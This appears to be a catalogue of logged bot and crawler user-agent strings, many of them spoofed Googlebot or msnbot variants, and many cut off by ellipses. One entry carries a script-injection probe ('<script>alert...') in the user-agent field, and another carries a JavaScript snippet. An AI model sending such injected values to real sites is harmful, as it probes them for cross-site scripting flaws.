Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1+(+http://www.google.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 AppEngine-Google; (+http://code...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/20100713 Googlebot/2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 “Googlebot 2.1“

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Googlebot/2.X (http://www.googlebot.com/bot.h...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100722 Googlebot2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; es-CL; rv:1.9.2.3) Gecko/20100401 http://www.google.com/bot.html

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; es-CL; rv:1.9.2.4) Gecko/20100611 Googlebot/2.1 (+http://www.google.com/bot.htm...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.1.5) Gecko/20091102 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 Googlebot/2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Googlebot 2.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.0.19) Gecko/2010031422 Google Bot GTB7.1

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6 AppEngine-Google; (+http://code.goo...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTBDFff GTB7.0 (.NET CLR 3.5.30...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 AppEngine-Google; (+http://code...

Bot Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:2.0b1) Gecko/20100630 Firefox/4.0b1 AppEngine-Google; (+http://code.g...

Bot Mozilla/5.0 (Windows; U; Windows NT 7.0; en-US; rv:2.0) Gecko/00000000 Firefox/9.0 Robot/3.0

Bot Mozilla/5.0 (Windows; Z; Windows NT 5.1; tj; rv:1.9.1) Gecko/20090624 Firefox/3.0.7 AlphaBot/9.0 FirePHP/0.3

Bot Mozilla/5.0 (Windows;) NimbleCrawler 1.12 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Bot Mozilla/5.0 (Windows;) NimbleCrawler 1.13 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Bot Mozilla/5.0 (Windows;) NimbleCrawler 1.14 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Bot Mozilla/5.0 (Windows;) NimbleCrawler 1.15 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Bot Mozilla/5.0 (Windows;) NimbleCrawler 2.0.1

Bot Mozilla/5.0 (Windows;) NimbleCrawler 2.0.1 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Bot Mozilla/5.0 (Windows;) NimbleCrawler 2.0.2 obeys UserAgent NimbleCrawler For problems contact: crawler@healthline.com

Bot Mozilla/5.0 (X11; compatible; crawler@newstin.com; HTTPClient 3.1)

Bot Mozilla/5.0 (X11; U; FreeBSD i386; en-US) WebKit/4.5 Zeus/3.9.8 AppEngine-Google; (+http://code.google.com/appengine; ap...

Bot Mozilla/5.0 (X11; U; Linux i686 (x86_64); pl-PL; rv:1.9a3pre) Gecko/20070224 Firefox/3.0a3pre (Kubuntu-feisty) (Powered ...

Bot Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.0.1) Gecko/2008072820 Googlebot 2.1

Bot Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1.0) Gecko/20090623 KFSW/3.5.0-6.1 thumbshots-de-bot/3.5.0.0.1

Bot Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.1.0) Gecko/20090623 KFSW/3.5.0-6.1 thumbshots-de-bot/3.5.0.0.3

Bot Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.8) Gecko/20071015 KFSW/1.0.0.0.1 ThumbShots-de-bot

Bot Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.8) Gecko/20071015 KFSW/1.0.0.0.4 thumbshot-de-bot

Bot Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Googlebot/2.2

Bot Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.18) Gecko/20081030 Iceweasel/2.0.0.14 compatible; Googlebot/2.1; +http:...

Bot Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9) Gecko/2008061015 webwalkerbot

Bot Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.1) Gecko/2008072820 webwalkerbot

Bot Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) webwalkerbot

Bot Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) webwalkerbot

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Spinn3r (Spinn3r 3.0); http://spinn3r.com/robot) Gecko/2002...

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Spinn3r (Spinn3r 3.1); http://spinn3r.com/robot) Gecko/2002...

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Tailrank (Spinn3r 2.1); http://spinn3r.com/robot) Gecko/200...

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Tailrank (Spinn3r 2.3); http://spinn3r.com/robot) Gecko/200...

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1; aggregator:Tailrank; http://tailrank.com/robot) Gecko/20021130

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Larbin/2.6.3 larbin@unspecified.mail

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 SnapPreviewBot

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Googlebot 2.1

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12/Nutch-0.9

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Googlebot/2.1 (+http://www.google.com/bot.html)

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1)/Nutch-1.0

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Googlebot 2.1 (Linux Mint)

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Googlebot/2.1+(+http://www.google.com/bot.html)

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010033100 Robothumb/1.1 +http://www.robothumb.com

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Googlebot/2.1 (+http://www....

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Googlebot 2.1

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Googlebot/2.1

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008100922 Ubuntu/8.04 (hardy) Googlebot/2.1

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Googlebot 2.1

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090813 Everest/3.5.2-10 Firefox/3.5.2 AppEngine-Google; (+ht...

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090913 Shiretoko/3.5.3 AppEngine-Google; (+http://code.googl...

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5; aggregator:Spinn3r (Spinn3r 3.5 / Crawler); http://spinn3r.com/robot...

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Googlebot 2.1

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Kopytko/1.01 (:P) Googlebot 2.1

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Linux Mint/8 (Helena) <script>alert (do...

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Googlebot/2.X How Google crawls...

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Googlebot 2.1

Bot Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100723 Linux Mint/9 (Isadora) Googlebot 2.1

Bot Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 AppEngine-Google; ...

Bot Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.1.5) Gecko/20091123 Googlebot 2.1 (like Firefox/3.5.5; Debian-3.5.5-1)

Bot Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.11) Gecko/20071127 Googlebot 2.1

Bot Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.0.3) Gecko/2008101315 Ubuntu/8.10 (intrepid) Firefox/3.0.3 AppEngine-Goog...

Bot Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 AppEngine-Google...

Bot Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.9.0.19) Gecko/2010062510 ThumbShotsBot (KFSW 3.0.6-3)

Bot Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.9.0.19) Gecko/2010102809 ThumbShotsBot (KFSW 3.0.6-3)

Bot Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.9.0.19) Gecko/2010120923 ThumbShotsBot (KFSW 3.0.6-3)

Bot Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080702 Googlebot/2.1 (+http://www.google.com/bot.html) (D...

Bot Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008071916 (Gentoo) Googlebot 2.1

Bot Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2009122200 SUSE/3.0.17-0.1.1 Googlebot/2.1 (+http://www.goo...

Bot Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.19; aggregator:Spinn3r (Spinn3r 3.1); http://spinn3r.com/robot) Gecko...

Bot Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Googlebot/2.1 (+http://www.go...

Bot Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032813 Googlebot/2.1 (+http://www.google.com/bot.html) (...

Bot Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100217 Gentoo Mozilla/5.0 (compatible; Googlebot/2.1; +http:...

Bot Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 ARMO Googlebot

Bot Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1b2pre) Gecko/20081107 Mozilla/5.0 (compatible; Googlebot/2.1; +http://...

Bot Mozilla/5.0 (X11; U; Linux x86_64; ro; rv:1.9.0.19) Gecko/2010033022 Googlebot/2.1 (+http://www.googlebot.com/bot.html) ...

Bot Mozilla/5.0 (X11; U; Linux x86_64;en-US) Gigabot/2.0 ...

Bot Mozilla/5.0 (X11; U; Linux x86_64;en-US) Gigabot/2.0 ...

Bot Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.8) Gecko/20101230 Firefox/3.6.8/Nutch-1.0

Bot Mozilla/5.0 (Yahoo-Test/4.0 mailto:vertical-crawl-support@yahoo-inc.com)

Bot Mozilla/5.0 (Yahoo-Test/4.0 ysm-keystone-crawl-support@yahoo-inc.com)

Bot Mozilla/5.0 (Yahoo-Test/4.0; mailto:vertical-crawl-support@yahoo-inc.com)

Bot Mozilla/5.0 (Yahoo-Test/4.0; ysm-keystone-crawl-support@yahoo-inc.com)

Bot Mozilla/5.0 +( http://www.googlebot.com/bot.html)

Bot Mozilla/5.0 9compatible; Googlbot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 compatible (zermelo heritrix/1.12.1 +http://www.powerset.com) [email:crawl@powerset.com,email:paul@page-sto...

Bot Mozilla/5.0 compatible WebaltBot/1.00 (i686-pc-linux)

Bot Mozilla/5.0 crawl@digigetx.com

Bot Mozilla/5.0 Googlebot/2.1+(+http://www.google.com/bot.html)

Bot Mozilla/5.0 GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html)

Bot Mozilla/5.0 QunarBot/1.0

Bot Mozilla/5.0 URL-Spider

Bot Mozilla/5.0(compatible, Googleboy/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0(compatible; Googlebot/2.1 ; +http://www.google.com/bot.html

Bot Mozilla/5.0(compatible; googlebot/2.1 ; http://www.googlebot.com/bot.html)

Bot Mozilla/5.0(compatible; Googlebot/2.1; +(+http://google.com/bot.html)

Bot Mozilla/5.0(compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0(compatible; Googlebot/2.1; +http://www.googlebot.com/bot.html)

Bot Mozilla/5.0(compatible; Googlebot/2.1;+http://www.google.com/bot.html

Bot Mozilla/5.0(compatible; Googlebot/2.1;+www.google.com/bot.html)

Bot Mozilla/5.0(compatible;Gogglebot/2.1; +http://www.google.com/bot.html

Bot Mozilla/5.0(compatible;Googlebot/2,1;+http://www.google.com/bot.html)

Bot Mozilla/5.0(compatible;Googlebot/2.1+(+http://www.google.com/bot.html)

Bot Mozilla/5.0(compatible;Googlebot/2.1; +http://www.google.com/bot.html

Bot Mozilla/5.0(compatible;Googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html

Bot Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html)

Bot mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html).

Bot Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.jtml)

Bot Mozilla/5.0(Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060319 Firefox/2.0a1 аки&am...

Bot Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)

Bot Mozilla/5.0+(compatible;+OkidokiBot/0.1;++http://www.okidoki.ro/bot.html)

Bot Mozilla/5.0+(compatible;+PiplBot;+http://www.pipl.com/bot/)

Bot Mozilla/5.0+(compatible;+Zookabot/1.0+BETA;++http://www.zooka.dk/bot.aspx)

Bot Mozilla/5.0+(SnapPreviewBot)+Gecko/20061206+Firefox/1.5.0.9

Bot Mozilla/5.0-virtual (compatible; scaredFox/0.5b; +http://crawlers.tdmsic.org/scaf_crawler.htm)

Bot Mozilla/5.0; Googlebot/2.1; +http://www.google.com/bot.htm)

Bot Mozilla/6.0 (compatible; Googlebot/2.5; +http://www.google.com/bot.html)

Bot Mozilla/6.0 (MSIE 6.0; Windows NT 5.1; nnSearch Robot)

Bot Mozilla/6.0 (MSIE 6.0; Windows NT 5.1; RSSMicro.com RSS/Atom Feed Robot)

Bot Mozilla/6.0 (MSIE 6.0; Windows NT 5.1; RSSMicro.com RSS/Atom FeedRobot) UNTRUSTED/1.0

Bot Mozilla/6.0 (Windows; U; Windows 3.1; en-US; Googlebot/2.1) AppleWebKit/999.7 (KHTML, like Gecko) Chrome/14.0.0.1 Safari...

Bot Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16

Bot Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 - (http://3cdn-1...

Bot Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 - (http://3cdn-2...

Bot Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 - (http://3cdn-3...

Bot Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 - (http://sjc0.t...

Bot Mozilla/6.0 (X11; U; Linux Red Hat Enterprise; da-DK; rv:6.8.1.16) Gecko/20080724 tdmsicDOTorg/1.0.0.16 - (http://www.td...

Bot Mozilla/Nutch-1.0

Bot Mozilla/Nutch-1.1

Bot Mozilla19/Googledbot 2.1

Bot Mp3Bot/0.1 (http://mp3realm.org/mp3bot/)

Bot MQbot http://metaquerier.cs.uiuc.edu/crawler

Bot MQBot/Nutch-0.8-dev (mqbot@cazoodle.com)

Bot MQBOT/Nutch-0.9-dev (MQBOT Crawler; http://falcon.cs.uiuc.edu; mqbot@cs.uiuc.edu)

Bot MQBOT/Nutch-0.9-dev (MQBOT Nutch Crawler; http://falcon.cs.uiuc.edu; mqbot@cs.uiuc.edu)

Bot MQBOT/Nutch-0.9-dev (MQBOT Nutch Crawler; http://vwbot.cs.uiuc.edu; mqbot@cs.uiuc.edu)

Bot Mr. Construction Email Seeker- Storefront Doors $595.00 ! | StorefrontDoors.Net

Bot ms research robot

Bot MS Search

Bot MSIndianWebcrawl

Bot MSMOBOT

Bot MSMOBOT/1.1 (+http://search.msn.com/msnbot.htm)

Bot MSNAttackBot/2.0b (+http://search.msn.com/microsoftsucks.htm) Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.8) Geck...

Bot msnbot

Bot Msnbot 1.0 (msnbot/1.0 (+http://search.msn.com/msnbot.htm)

Bot Msnbot 1.0 (msnbot/1.0 (+http://search.msn.com/msnbot.htm); MSIE 7.0; Windows NT 5.1; Avant Browser; .NET CLR 2.0.50727;...

Bot MSNBot Fake

Bot MSNBot-Academic

Bot msnbot-media/1.0

Bot msnbot-media/1.0 (+http://search.msn.com/msnbot.htm)

Bot msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)

Bot msnbot-Products/1.0 (+http://search.msn.com/msnbot.htm)

Bot msnbot/0.01 (+http://search.msn.com/msnbot.htm)

Bot MSNBOT/0.1 (http://search.msn.com/msnbot.htm)

Bot msnbot/0.11 ( http://search.msn.com/msnbot.htm)

Bot msnbot/0.11 (+http://search.msn.com/msnbot.htm)

Bot msnbot/0.9 (+http://search.msn.com/msnbot.htm)

Bot msnbot/1.0 ( http://search.msn.com/msnbot.htm)

Bot msnbot/1.0 (+http://search.msn.com/msnbot.htm)

Bot msnbot/1.0 (+http://search.msn.com/msnbot.htm) FirePHP/0.4

Bot msnbot/1.0+(+http://search.msn.com/msnbot.htm)

Bot msnbot/1.02 ( http://search.msn.com/msnbot.htm)

Bot msnbot/1.1 ( http://search.msn.com/msnbot.htm)

Bot msnbot/1.1 (+http://search.msn.com/msnbot.htm)

Bot msnbot/1.1 (+http://search.msn.com/msnbot.htm) AppEngine-Google; (+http://code.google.com/appengine; appid: spider-us)

Bot msnbot/1.1 (+http://search.msn.com/msnbot.htm) FirePHP/0.4

Bot msnbot/1.1 (+http://search.msn.com/msnbot.htm) IQ

Bot msnbot/1.1 (+http://search.msn.com/msnbot.htm) SmartLinksAddon

Bot msnbot/1.1 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile...

Bot msnbot/1.1+(+http://search.msn.com/msnbot.htm)

Bot MSNBot/2.0

Bot msnbot/2.0 (+http://search.msn.com/msnbot.htm)

Bot msnbot/2.0b

Bot msnbot/2.0b (+http://search.msn.com/msnbot.htm)

Bot msnbot/2.0b (+http://search.msn.com/msnbot.htm) Test

Bot msnbot/2.0b (+http://search.msn.com/msnbot.htm).

Bot msnbot/2.0b (+http://search.msn.com/msnbot.htm)._

Bot msnbot/2.0b (+http://search.msn.com/msnbot.htm)/2 (+http://search.msn.com/msnbot.htm)

Bot msnbot/2.0b+(+http://search.msn.com/msnbot.htm)

Bot msnbot/2.1

Bot MSNBOT_Mobile MSMOBOT Mozilla/2.0 (compatible; MSIE 4.02; Windows CE; Default)

Bot MSNBOT_Mobile MSMOBOT Mozilla/2.0 (compatible; MSIE 4.02; Windows CE; Default)/1.1 (+http://search.msn.com/msnbot.htm)

Bot MSNPTC/1.0

Bot MSNPTC/1.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)

Bot MSR-ISRCCrawler

Bot MSR-ISRCCrawler/Study of Soft 404 Responses

Bot msramlbot

Bot MSRBOT

Bot MSRBOT (http://research.microsoft.com/research/sv/msrbot)

Bot MSRBOT (http://research.microsoft.com/research/sv/msrbot/

Bot MSRBOT (http://research.microsoft.com/research/sv/msrbot/)

Bot MugurdyScreengrabAgent

Bot multicrawler (+http://sw.deri.org/2006/04/multicrawler/robots.html)

Bot MULTIPRISE/Nutch-1.0 (Robot d'indexation; http://www.multiprise.biz; admin@multiprise.fr)

Bot MVAClient

Bot Mweb crawler (compatible; Mozilla/5.0; MSIE 5.0; FAST FreshCrawler 6

Bot My app 1.0

Bot my Googlebot test JMF

Bot My Spider/Nutch-1.0 (My Bot; http://www.intersect.org.au; sridhar.reddapani@intersect.org.au)

Bot My WinHTTP Connection

Bot my-heritrix-crawler(+http://mywebsite.com)

Bot my-robot/0.2

Bot my6sense/1.0

Bot MyApp/0.1 libwww-perl/5.76

Bot MyApp/0.1 libwww-perl/5.805

Bot MyApp/0.1 libwww-perl/5.836

Bot myBot

Bot mybot/Nutch-1.0 (mybot; http://mybot.com; mybot@mybot.com)

Bot MyCoupons Coupon Crawler 1.0

Bot MyEngine_20

Bot MyEngine_32

Bot MyEngine_33

Bot myfirsttest/Nutch-0.8.1 (myfirsttest; http://www.science.uva.nl/; xzhang1@science.uva.nl)

Bot mynutchcrawler/0.8.1 (nutch 0.8.1; http://localhost:8080; info at mysite dot com)

Bot Mysearch/Nutch-0.9

Bot MySpaceScraper

Bot MYweb4net

Bot Nambu URL Destination Determinator +bot http://nambu.com

Bot NameOfAgent (CMS Spider)

Bot naoFavicon4IE V1.x

Bot Narrator/0.1.3.70 (compatible) filecache

Bot NASA Search 1.0

Bot NATE.ROBOT (compatible; MSIE 5.01; Windows NT 5.0)

Bot NATE.ROBOT Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.125 Safa...

Bot NaverBot-1.0 (NHN Corp. / +82-31-784-1989 / nhnbot@naver.com)

Bot NaverBot/1.0 (http://help.naver.com/delete_main.asp)

Bot navigator.userAgent.toLowerCase();if(userAgent.match(/blackberry.*/)){userAgent='mozilla/5.0 (windows; u; windows nt 5.1...

Bot NAWSE - New Web Search Engine - Bot version ( 10.01.01 )

Bot NAWSEX - New Adult Web Search Engine - Bot version ( 10.01.01 ) - http://www.nawsex.com/bot.html

Bot nb-bot

Bot Nelian Pty Ltd - Spider v2.1 ( http://pcaccessoriesparts.com )

Bot Nelian Pty Ltd - Spider v2.1 ( http://www.pcaccessoriesparts.com )

Bot Nelian Pty Ltd - Spider v3.1 ( http://www.pcaccessoriesparts.com )

Bot Neo Lee/Nutch-0.9 (Nutch spiderman; http://lucene.apache.org/nutch/; MyEmail)

Bot nestReader/0.2 (discovery; http://echonest.com/reader.shtml; reader at echonest.com)

Bot Net-Seekr Bot/Net-Seekr Bot V1 (http://www.net-seekr.com)

Bot NetAnts/1.25

Bot Netchart Adv Crawler 1.0

Bot netEstate NE Crawler

Bot netEstate NE Crawler (+http://www.sengine.info/)

Bot NetFox

Bot NetID.com Bot 1.0

Bot Netintelligence LiveAssessment - www.netintelligence.com

Bot Netluchs/Nutch-1.0 ( ; http://www.netluchs.de/; _do_not_spam_me___humans_please_use_info_at_netluchs.de_without_the_dash...

Bot Netluchs/Nutch-1.0-dev ( ; http://www.netluchs.de/; _do_not_spam_me___humans_please_use_info_at_netluchs.de_without_the_...

Bot NetResearchServer/4.0(loopimprovements.com/robot.html)

Bot netseer/0.1 (netseer crawler; http://www.netseer.com/crawler.html; crawler@netseer.com)

Bot NetSeer/Nutch-0.9 (NetSeer Crawler; http://www.netseer.com; crawler@netseer.com)

Bot NetSongBot/1.0

Bot NetSprint -- 2.0

Bot Netvibes Ajax (http://www.netvibes.com/)

Bot NetWhatCrawler/0.06-dev (NetWhatCrawler from NetWhat.com; http://www.netwhat.com; support@netwhat.com)

Bot network467 Infrastructure Firewall [UK High-Speed IP Gateway]

Bot NewsGator FetchLinks extension/0.2.0 (http://graemef.com)

Bot NewsGator/2.5 (http://www.newsgator.com; Microsoft Windows NT 5.1.2600.0; .NET CLR 1.1.4322.2032)

Bot NewsGator/2.5 (http://www.newsgator.com; Microsoft Windows NT 5.1.2600.0; .NET CLR 1.1.4322.2032)

Bot NewsGatorOnline/2.0 (http://www.newsgator.com; 1 subscribers)

Bot NewSpider

Bot newtelligence dasBlog/1.9.6264.0

Bot NextGenSearchBot 1 (for information visit http://about.zoominfo.com/About/NextGenSearchBot.aspx)

Bot NextGenSearchBot 1 (for information visit http://www.eliyon.com/NextGenSearchBot)

Bot NextGenSearchBot 1 (for information visit http://www.zoominfo.com/About/misc/NextGenSearchBot.aspx)

Bot NextGenSearchBot 1 (for information visit http://www.zoominfo.com/NextGenSearchBot)

Bot NextopiaBOT (+http://www.nextopia.com) distributed crawler client beta v1.1

Bot NG/2.0

Bot NGB/3.0

Bot NGB/3.0 Novarra-Vision/7.3

Bot NGB\/3.0

Bot nicebot

Bot NicheSpider/1.0 (+http://www.freebieads.co.uk)

Bot NIEK/0.1alpha FirePHP/0.4

Bot ninetowns

Bot Ninja Xplore (Unknown OS)

Bot Nintendo64/1.0 (SuperMarioOS with Cray-II Y-MP Emulation)

Bot Nitroglobal Anonymous Proxy

Bot NoBot/0.0 (I'm not a bug, I'm a feature)

Bot NoggaNogga (resilient; doublebind-resistant; nice guy)

Bot Nokia N90/2.0 (+ www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2)

Bot Nokia2610/R2AA/Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9

Bot Nokia3100/1.0 (compatible; WukongBot)

Bot Nokia5130c-2/2.0 (07.95) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (iPhone; U; CPU iPhone 0S 3.0 like Mac 0S X...

Bot Nokia6230/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (compatible; dotmobibot/1.0; +http://www.dotmobi.mobi)

Bot Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html abuse@mtld.mobi)

Bot Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html find@mtld.mobi)

Bot Nokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi http://find.mobi/bot.html abuse@mtld.mobi)

Bot Nokia6610/1.0 (3.09) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible;YahooSeeker/M1A1-R2D2; http://help.yahoo.com/he...

Bot Nokia6680/1.0 ((4.04.07) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html ...

Bot Nokia6680/1.0 ((4.04.07) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 (for mobile crawler) )

Bot Nokia6680/1.0 (4.04.07) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi find.mobi/bot.html f...

Bot Nokia6681/1.0 (2.30.0) Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 (compatible; baiduspider; +http://www.baidu....

Bot Nokia6682/2.0 (3.01.1) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0 (compatible...

